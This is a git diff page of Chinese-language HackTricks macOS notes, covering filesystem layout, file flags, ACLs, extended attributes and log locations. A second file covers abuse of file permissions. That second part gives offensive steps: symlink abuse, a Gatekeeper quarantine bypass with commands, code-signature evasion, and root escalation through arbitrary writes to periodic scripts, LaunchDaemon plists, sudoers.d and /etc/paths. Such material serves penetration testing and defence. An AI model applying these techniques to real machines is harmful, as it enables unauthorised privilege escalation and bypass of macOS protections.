* **/Volumes**:挂载的驱动器将出现在这里。
|
||||
* **/.vol**:运行`stat a.txt`,您将获得类似`16777223 7545753 -rw-r--r-- 1 username wheel ...`的内容,其中第一个数字是文件存在的卷的ID号,第二个数字是索引节点号。您可以通过/.vol/访问具有该信息的文件的内容,运行`cat /.vol/16777223/7545753`
|
||||
* **/.vol**:运行`stat a.txt`,您将获得类似`16777223 7545753 -rw-r--r-- 1 username wheel ...`的内容,其中第一个数字是文件存在的卷的ID号,第二个数字是索引节点号。您可以通过/.vol/访问此文件的内容,使用该信息运行`cat /.vol/16777223/7545753`
|
||||
|
||||
### 应用程序文件夹
|
||||
|
||||
* **系统应用程序**位于`/System/Applications`下
|
||||
* **已安装的**应用程序通常安装在`/Applications`或`~/Applications`中
|
||||
* **应用程序数据**可以在`/Library/Application Support`中找到,用于以root身份运行的应用程序,以及在`~/Library/Application Support`中找到,用于以用户身份运行的应用程序。
|
||||
* **需要以root身份运行的第三方应用程序守护程序**通常位于`/Library/PrivilegedHelperTools/`
|
||||
* **需要以root身份运行**的第三方应用程序**守护程序**通常位于`/Library/PrivilegedHelperTools/`
|
||||
* **沙箱**应用程序映射到`~/Library/Containers`文件夹。每个应用程序都有一个根据应用程序的捆绑ID(`com.apple.Safari`)命名的文件夹。
|
||||
* **内核**位于`/System/Library/Kernels/kernel`
|
||||
* **Apple的内核扩展**位于`/System/Library/Extensions`
|
||||
|
@ -60,7 +60,7 @@ MacOS在多个位置存储诸如密码之类的信息:
|
|||
## OS X特定扩展
|
||||
|
||||
* **`.dmg`**:苹果磁盘映像文件在安装程序中非常常见。
|
||||
* **`.kext`**:它必须遵循特定结构,是驱动程序的OS X版本(它是一个捆绑包)
|
||||
* **`.kext`**:它必须遵循特定结构,是驱动程序的OS X版本(它是一个捆绑包)。
|
||||
* **`.plist`**:也称为属性列表,以XML或二进制格式存储信息。
|
||||
* 可以是XML或二进制。可以使用以下命令读取二进制文件:
|
||||
* `defaults read config.plist`
|
||||
|
@ -70,7 +70,7 @@ MacOS在多个位置存储诸如密码之类的信息:
|
|||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**:遵循目录结构的苹果应用程序(它是一个捆绑包)。
|
||||
* **`.dylib`**:动态库(类似于Windows的DLL文件)
|
||||
* **`.pkg`**:与xar(eXtensible Archive格式)相同。可以使用installer命令安装这些文件的内容。
|
||||
* **`.pkg`**:与xar(可扩展存档格式)相同。可以使用installer命令安装这些文件的内容。
|
||||
* **`.DS_Store`**:每个目录中都有此文件,它保存目录的属性和自定义。
|
||||
* **`.Spotlight-V100`**:此文件夹出现在系统上每个卷的根目录中。
|
||||
* **`.metadata_never_index`**:如果此文件位于卷的根目录中,Spotlight将不会索引该卷。
|
||||
|
@ -88,9 +88,9 @@ MacOS在多个位置存储诸如密码之类的信息:
|
|||
|
||||
在macOS(和iOS)中,所有系统共享库,如框架和dylibs,都**合并到一个单个文件**中,称为**dyld共享缓存**。这提高了性能,因为代码可以更快地加载。
|
||||
|
||||
与dyld共享缓存类似,内核和内核扩展也编译到内核缓存中,在启动时加载。
|
||||
与dyld共享缓存类似,内核和内核扩展也编译到内核缓存中,在引导时加载。
|
||||
|
||||
为了从单个文件dylib共享缓存中提取库,可以使用二进制文件[dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip),这可能在现在无法工作,但您也可以使用[**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
为了从单个文件dylib共享缓存中提取库,可以使用二进制文件[dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip),这可能在现在无法使用,但您也可以使用[**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
```bash
|
||||
# dyld_shared_cache_util
|
||||
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -107,7 +107,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
在 iOS 中,你可以在 **`/System/Library/Caches/com.apple.dyld/`** 中找到它们。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意,即使 `dyld_shared_cache_util` 工具无法工作,你可以将 **共享 dyld 二进制文件传递给 Hopper**,Hopper 将能够识别所有库,并让你 **选择要调查的库**:
|
||||
请注意,即使 `dyld_shared_cache_util` 工具无法工作,你可以将 **共享 dyld 二进制文件传递给 Hopper**,Hopper 将能够识别所有库并让你 **选择要调查的库**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (680).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
@ -120,12 +120,34 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
|
||||
### 标志修饰符
|
||||
|
||||
有一些标志可以设置在文件中,这些标志会使文件的行为不同。你可以使用 `ls -lO /path/directory` 命令来 **检查目录中文件的标志**
|
||||
有一些标志可以设置在文件中,使文件的行为不同。你可以使用 `ls -lO /path/directory` 命令来 **检查目录中文件的标志**。
|
||||
|
||||
* **`uchg`**:被称为 **uchange** 标志,将 **阻止任何更改或删除** **文件** 的操作。要设置它,请执行:`chflags uchg file.txt`
|
||||
* root 用户可以 **移除该标志** 并修改文件
|
||||
* **`restricted`**:此标志使文件受到 **SIP 保护**(你无法将此标志添加到文件)。
|
||||
* **`Sticky bit`**:如果一个目录具有粘性位,**只有** 目录的 **所有者或 root 用户可以重命名或删除** 文件。通常在 /tmp 目录上设置此标志,以防止普通用户删除或移动其他用户的文件。
|
||||
* **`restricted`**:此标志使文件受到 SIP 的保护(无法将此标志添加到文件)。
|
||||
* **`粘滞位`**:如果一个目录具有粘滞位,**只有** 目录的 **所有者或 root 可以重命名或删除** 文件。通常在 /tmp 目录上设置此标志,以防止普通用户删除或移动其他用户的文件。
|
||||
|
||||
所有标志都可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),它们是:
|
||||
|
||||
* `UF_SETTABLE` 0x0000ffff:可更改所有者标志的掩码。
|
||||
* `UF_NODUMP` 0x00000001:不要转储文件。
|
||||
* `UF_IMMUTABLE` 0x00000002:文件不可更改。
|
||||
* `UF_APPEND` 0x00000004:只能追加写入文件。
|
||||
* `UF_OPAQUE` 0x00000008:目录对于联合是不透明的。
|
||||
* `UF_COMPRESSED` 0x00000020:文件已压缩(某些文件系统)。
|
||||
* `UF_TRACKED` 0x00000040:设置此标志的文件不会收到删除/重命名的通知。
|
||||
* `UF_DATAVAULT` 0x00000080:需要读取和写入的授权。
|
||||
* `UF_HIDDEN` 0x00008000:暗示此项不应在 GUI 中显示。
|
||||
* `SF_SUPPORTED` 0x009f0000:超级用户支持的标志掩码。
|
||||
* `SF_SETTABLE` 0x3fff0000:超级用户可更改的标志掩码。
|
||||
* `SF_SYNTHETIC` 0xc0000000:系统只读合成标志的掩码。
|
||||
* `SF_ARCHIVED` 0x00010000:文件已存档。
|
||||
* `SF_IMMUTABLE` 0x00020000:文件不可更改。
|
||||
* `SF_APPEND` 0x00040000:只能追加写入文件。
|
||||
* `SF_RESTRICTED` 0x00080000:需要写入的授权。
|
||||
* `SF_NOUNLINK` 0x00100000:项目不可被移除、重命名或挂载。
|
||||
* `SF_FIRMLINK` 0x00800000:文件是一个 firmlink。
|
||||
* `SF_DATALESS` 0x40000000:文件是无数据对象。
|
||||
|
||||
### **文件 ACLs**
|
||||
|
||||
|
@ -134,24 +156,42 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
可以授予一个 **目录** 这些权限:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\
|
||||
对于一个 **文件**:`read`、`write`、`append`、`execute`。
|
||||
|
||||
当文件包含 ACLs 时,你将在列出权限时 **找到一个 "+"**,就像下面这样:
|
||||
当文件包含 ACLs 时,你将在列出权限时 **找到一个 "+",就像这样**:
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
```
|
||||
您可以使用以下命令**读取文件的 ACLs**:
|
||||
您可以使用以下命令**读取文件的 ACL**:
|
||||
```bash
|
||||
ls -lde Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
0: group:everyone deny delete
|
||||
```
|
||||
您可以使用以下命令查找**所有具有ACL的文件**(这非常慢):
|
||||
你可以使用以下命令查找**所有具有ACL的文件**(这非常慢):
|
||||
```bash
|
||||
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
```
|
||||
### 扩展属性
|
||||
|
||||
扩展属性具有名称和任意值,并可使用 `ls -@` 查看,并使用 `xattr` 命令进行操作。一些常见的扩展属性包括:
|
||||
|
||||
- `com.apple.resourceFork`: 资源叉兼容性。也可在 `filename/..namedfork/rsrc` 中看到
|
||||
- `com.apple.quarantine`: MacOS: Gatekeeper 隔离机制 (III/6)
|
||||
- `metadata:*`: MacOS: 各种元数据,如 `_backup_excludeItem` 或 `kMD*`
|
||||
- `com.apple.lastuseddate` (#PS): 最后使用日期
|
||||
- `com.apple.FinderInfo`: MacOS: Finder 信息 (例如,颜色标签)
|
||||
- `com.apple.TextEncoding`: 指定 ASCII 文本文件的文本编码
|
||||
- `com.apple.logd.metadata`: 由 `/var/db/diagnostics` 中的 logd 在文件上使用
|
||||
- `com.apple.genstore.*`: 生成存储 (`/.DocumentRevisions-V100` 在文件系统根目录中)
|
||||
- `com.apple.rootless`: MacOS: 由系统完整性保护使用以标记文件 (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: 具有唯一 UUID 的引导时期的 logd 标记
|
||||
- `com.apple.decmpfs`: MacOS: 透明文件压缩 (II/7)
|
||||
- `com.apple.cprotect`: \*OS: 每个文件的加密数据 (III/11)
|
||||
- `com.apple.installd.*`: \*OS: installd 使用的元数据,例如 `installType`、`uniqueInstallID`
|
||||
|
||||
### 资源叉 | macOS ADS
|
||||
|
||||
这是在 macOS 机器上获取**备用数据流**的一种方法。您可以通过将内容保存在文件的**file/..namedfork/rsrc**中的扩展属性**com.apple.ResourceFork**中来保存文件内的内容。
|
||||
这是在 MacOS 机器中获取**备用数据流**的一种方法。您可以通过将内容保存在名为 **com.apple.ResourceFork** 的扩展属性中的文件中,将其保存在 **file/..namedfork/rsrc** 中。
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
|
@ -168,9 +208,19 @@ ls -l a.txt #The file length is still q
|
|||
```bash
|
||||
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### decmpfs
|
||||
|
||||
扩展属性`com.apple.decmpfs`指示文件已加密存储,`ls -l`将报告**大小为0**,压缩数据位于此属性内。每当访问文件时,它将在内存中解密。
|
||||
|
||||
可以使用`ls -lO`查看此属性,因为压缩文件还带有标记`UF_COMPRESSED`。如果删除压缩文件,则使用`chflags nocompressed </path/to/file>`清除此标志,系统将不知道文件已被压缩,因此无法解压缩和访问数据(系统会认为文件实际上是空的)。
|
||||
|
||||
工具afscexpand可用于强制解压缩文件。
|
||||
|
||||
## **通用二进制文件和** Mach-o 格式
|
||||
|
||||
Mac OS 二进制文件通常被编译为**通用二进制文件**。**通用二进制文件**可以在同一个文件中**支持多种架构**。
|
||||
Mac OS 二进制文件通常编译为**通用二进制文件**。**通用二进制文件**可以在同一文件中**支持多个架构**。
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
|
@ -184,20 +234,20 @@ Mac OS 二进制文件通常被编译为**通用二进制文件**。**通用二
|
|||
|
||||
## Mac OS 风险类别文件
|
||||
|
||||
目录 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` 存储了关于**不同文件扩展名风险**的信息。该目录将文件分类为不同的风险级别,影响 Safari 在下载后处理这些文件的方式。分类如下:
|
||||
目录`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`存储有关不同文件扩展名的**风险相关信息**。该目录将文件分类为不同的风险级别,影响 Safari 在下载后处理这些文件的方式。各类别如下:
|
||||
|
||||
- **LSRiskCategorySafe**:此类文件被认为是**完全安全**的。Safari 将在下载后自动打开这些文件。
|
||||
- **LSRiskCategoryNeutral**:这些文件没有警告,Safari **不会自动打开**它们。
|
||||
- **LSRiskCategoryUnsafeExecutable**:此类文件会**触发警告**,指示该文件是一个应用程序。这是一项安全措施,用于警示用户。
|
||||
- **LSRiskCategoryMayContainUnsafeExecutable**:此类文件为可能包含可执行文件的文件,例如存档文件。除非 Safari 能够验证所有内容是安全或中立,否则将**触发警告**。
|
||||
* **LSRiskCategorySafe**:此类别中的文件被认为是**完全安全**的。Safari 将在下载后自动打开这些文件。
|
||||
* **LSRiskCategoryNeutral**:这些文件没有警告,并且**Safari 不会自动打开**它们。
|
||||
* **LSRiskCategoryUnsafeExecutable**:此类别下的文件会**触发警告**,指示该文件是一个应用程序。这是一项安全措施,用于提醒用户。
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**:此类别适用于可能包含可执行文件(例如存档文件)的文件。除非 Safari 能够验证所有内容是安全或中立的,否则 Safari 将**触发警告**。
|
||||
|
||||
## 日志文件
|
||||
|
||||
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关已下载文件的信息,如下载它们的 URL。
|
||||
* **`/var/log/system.log`**:OSX 系统的主要日志。com.apple.syslogd.plist 负责执行系统日志记录(您可以通过在 `launchctl list` 中查找 "com.apple.syslogd" 来检查是否已禁用)。
|
||||
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关下载文件的信息,如下载文件的 URL。
|
||||
* **`/var/log/system.log`**:OSX 系统的主要日志。com.apple.syslogd.plist 负责执行系统日志记录(您可以通过在`launchctl list`中查找“com.apple.syslogd”来检查是否已禁用)。
|
||||
* **`/private/var/log/asl/*.asl`**:这些是可能包含有趣信息的 Apple 系统日志。
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**:存储通过“Finder”最近访问的文件和应用程序。
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**:存储系统启动时要启动的项目。
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**:DiskUtility 应用程序的日志文件(包含有关驱动器的信息,包括 USB 设备)。
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**:关于无线接入点的数据。
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**:DiskUtility 应用程序的日志文件(包含有关驱动器(包括 USB)的信息)。
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**:关于无线访问点的数据。
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**:已停用的守护进程列表。
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -26,7 +26,7 @@
|
|||
|
||||
### 危险组合
|
||||
|
||||
**如何覆盖 root 拥有的文件/文件夹**,但:
|
||||
**如何覆盖由 root 拥有的文件/文件夹**,但:
|
||||
|
||||
* 路径中的一个父**目录所有者**是用户
|
||||
* 路径中的一个父**目录所有者**是具有**写入访问权限**的**用户组**
|
||||
|
@ -36,15 +36,15 @@
|
|||
|
||||
### 文件夹根目录 R+X 特殊情况
|
||||
|
||||
如果有文件在**目录**中,其中**只有 root 具有 R+X 访问权限**,那些文件对其他人**不可访问**。因此,允许**移动用户可读的文件**的漏洞,由于该**限制**而无法读取,从该文件夹**移动到另一个文件夹**,可能被滥用以读取这些文件。
|
||||
如果有文件在**目录**中,其中**只有 root 具有 R+X 访问权限**,那些文件对其他人**不可访问**。因此,如果存在一个漏洞允许**将用户可读的文件**(由于该**限制**而无法读取)从此文件夹**移动到另一个文件夹**,则可能被滥用以读取这些文件。
|
||||
|
||||
示例:[https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
|
||||
## 符号链接 / 硬链接
|
||||
|
||||
如果一个特权进程正在写入**文件**,该文件可能被**低权限用户控制**,或者可能是**之前由低权限用户创建**。用户可以通过符号链接或硬链接**将其指向另一个文件**,特权进程将写入该文件。
|
||||
如果一个特权进程正在写入**文件**,该文件可能被**低权限用户控制**,或者可能是由低权限用户**先前创建**的。用户只需通过符号链接或硬链接**将其指向另一个文件**,特权进程将写入该文件。
|
||||
|
||||
请查看其他部分,攻击者可以**滥用任意写入以提升权限**。
|
||||
请查看其他部分,攻击者可能**滥用任意写入以提升权限**。
|
||||
|
||||
## .fileloc
|
||||
|
||||
|
@ -124,11 +124,11 @@ ls -le /tmp/test
|
|||
|
||||
**AppleDouble**文件格式会复制文件及其ACEs。
|
||||
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为**`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件中的ACL。因此,如果您将一个应用程序压缩成一个使用ACL阻止其他xattr写入的**AppleDouble**文件格式的zip文件... 那么隔离xattr就不会设置到应用程序中:
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为**`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此,如果您将一个应用程序压缩成一个使用ACL阻止其他xattr写入的**AppleDouble**文件格式的zip文件... 那么隔离xattr就不会设置到应用程序中:
|
||||
|
||||
查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)以获取更多信息。
|
||||
|
||||
要复制这一过程,首先需要获取正确的acl字符串:
|
||||
要复制这一情况,首先需要获取正确的acl字符串:
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
|
@ -146,9 +146,9 @@ ditto -c -k del test.zip
|
|||
ditto -x -k --rsrc test.zip .
|
||||
ls -le test
|
||||
```
|
||||
(Note that even if this works the sandbox write the quarantine xattr before)
|
||||
(请注意,即使这样也会在沙箱写入隔离标签)
|
||||
|
||||
不是必需的,但我还是留在这里以防万一:
|
||||
并不是真的需要,但我还是留在那里以防万一:
|
||||
|
||||
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
||||
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||||
|
@ -156,9 +156,9 @@ ls -le test
|
|||
|
||||
## 绕过代码签名
|
||||
|
||||
Bundle 包含文件 **`_CodeSignature/CodeResources`**,其中包含 **bundle** 中每个 **文件** 的 **哈希**。请注意,CodeResources 的哈希也嵌入在可执行文件中,因此我们不能对其进行更改。
|
||||
捆绑包包含文件 **`_CodeSignature/CodeResources`**,其中包含**捆绑包**中每个**文件**的**哈希值**。请注意,CodeResources的哈希值也**嵌入在可执行文件中**,因此我们无法对其进行更改。
|
||||
|
||||
然而,有一些文件的签名不会被检查,这些文件在 plist 中具有省略键,如:
|
||||
然而,有一些文件的签名不会被检查,这些文件在属性列表中具有省略键,如下所示:
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
|
@ -210,9 +210,7 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
|
|||
```
|
||||
## 挂载dmgs
|
||||
|
||||
用户甚至可以将自定义dmg挂载到一些现有文件夹上。以下是如何创建带有自定义内容的自定义dmg包的方法:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
用户可以挂载一个自定义的dmg,甚至可以覆盖一些现有文件夹。以下是如何创建一个带有自定义内容的自定义dmg包的方法:
|
||||
```bash
|
||||
# Create the volume
|
||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||
|
@ -235,17 +233,20 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
通常 macOS 会通过与 `com.apple.DiskArbitration.diskarbitrationd` Mach 服务通信(由 `/usr/libexec/diskarbitrationd` 提供)来挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 `-d` 并重新启动,它将会将日志存储在 `/var/log/diskarbitrationd.log` 中。\
|
||||
然而,可以使用诸如 `hdik` 和 `hdiutil` 这样的工具直接与 `com.apple.driver.DiskImages` kext 进行通信。
|
||||
|
||||
## 任意写入
|
||||
|
||||
### 周期性 sh 脚本
|
||||
### 定期 sh 脚本
|
||||
|
||||
如果您的脚本可以被解释为一个**shell脚本**,您可以覆盖**`/etc/periodic/daily/999.local`** shell脚本,该脚本将每天触发一次。
|
||||
如果您的脚本可以被解释为 **shell 脚本**,则可以覆盖 **`/etc/periodic/daily/999.local`** shell 脚本,该脚本将每天触发一次。
|
||||
|
||||
您可以使用以下命令**伪造**执行此脚本:**`sudo periodic daily`**
|
||||
您可以使用以下命令**伪造**对此脚本的执行:**`sudo periodic daily`**
|
||||
|
||||
### 守护进程
|
||||
### 守护程序
|
||||
|
||||
编写一个任意的**LaunchDaemon**,比如**`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,其中包含执行任意脚本的 plist 文件:
|
||||
编写一个任意的 **LaunchDaemon**,如 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,其中包含执行任意脚本的 plist,如下所示:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -266,13 +267,13 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
|
||||
### Sudoers 文件
|
||||
|
||||
如果您拥有**任意写入权限**,您可以在**`/etc/sudoers.d/`**文件夹中创建一个文件,授予自己**sudo**权限。
|
||||
如果您拥有**任意写入权限**,您可以创建一个文件在文件夹 **`/etc/sudoers.d/`** 中,授予自己**sudo**权限。
|
||||
|
||||
### PATH 文件
|
||||
|
||||
文件**`/etc/paths`**是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果**特权进程**的脚本执行一些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。
|
||||
文件 **`/etc/paths`** 是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果**特权进程**的脚本执行一些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。
|
||||
|
||||
您还可以在**`/etc/paths.d`**中编写文件,以将新文件夹加载到 `PATH` 环境变量中。
|
||||
您还可以在 **`/etc/paths.d`** 中编写文件,以将新文件夹加载到 `PATH` 环境变量中。
|
||||
|
||||
## 生成其他用户可写文件
|
||||
|
||||
|
@ -294,14 +295,14 @@ echo $FILENAME
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue